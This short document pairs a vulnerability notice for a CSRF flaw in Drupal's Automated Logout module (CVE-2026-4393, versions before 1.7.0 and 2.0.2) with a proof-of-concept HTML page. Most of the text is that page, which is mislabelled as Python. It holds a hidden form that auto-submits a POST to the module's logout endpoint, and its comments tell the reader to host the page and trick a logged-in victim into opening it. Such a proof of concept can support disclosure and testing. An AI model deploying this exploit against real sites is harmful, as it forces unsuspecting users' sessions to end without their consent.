Cross-Site Request Forgery (CSRF) vulnerability in Drupal Automated Logout allows Cross Site Request Forgery.This issue affects Automated Logout: from 0.0.0 before 1.7.0, from 2.0.0 before 2.0.2.
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4393 -->
<!-- This PoC demonstrates the CSRF vulnerability by triggering a logout request -->
<!-- Host this file and trick the victim into opening it while logged into the target Drupal site -->
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target-drupal-site>/automated_logout" method="POST">
<input type="hidden" name="confirm" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>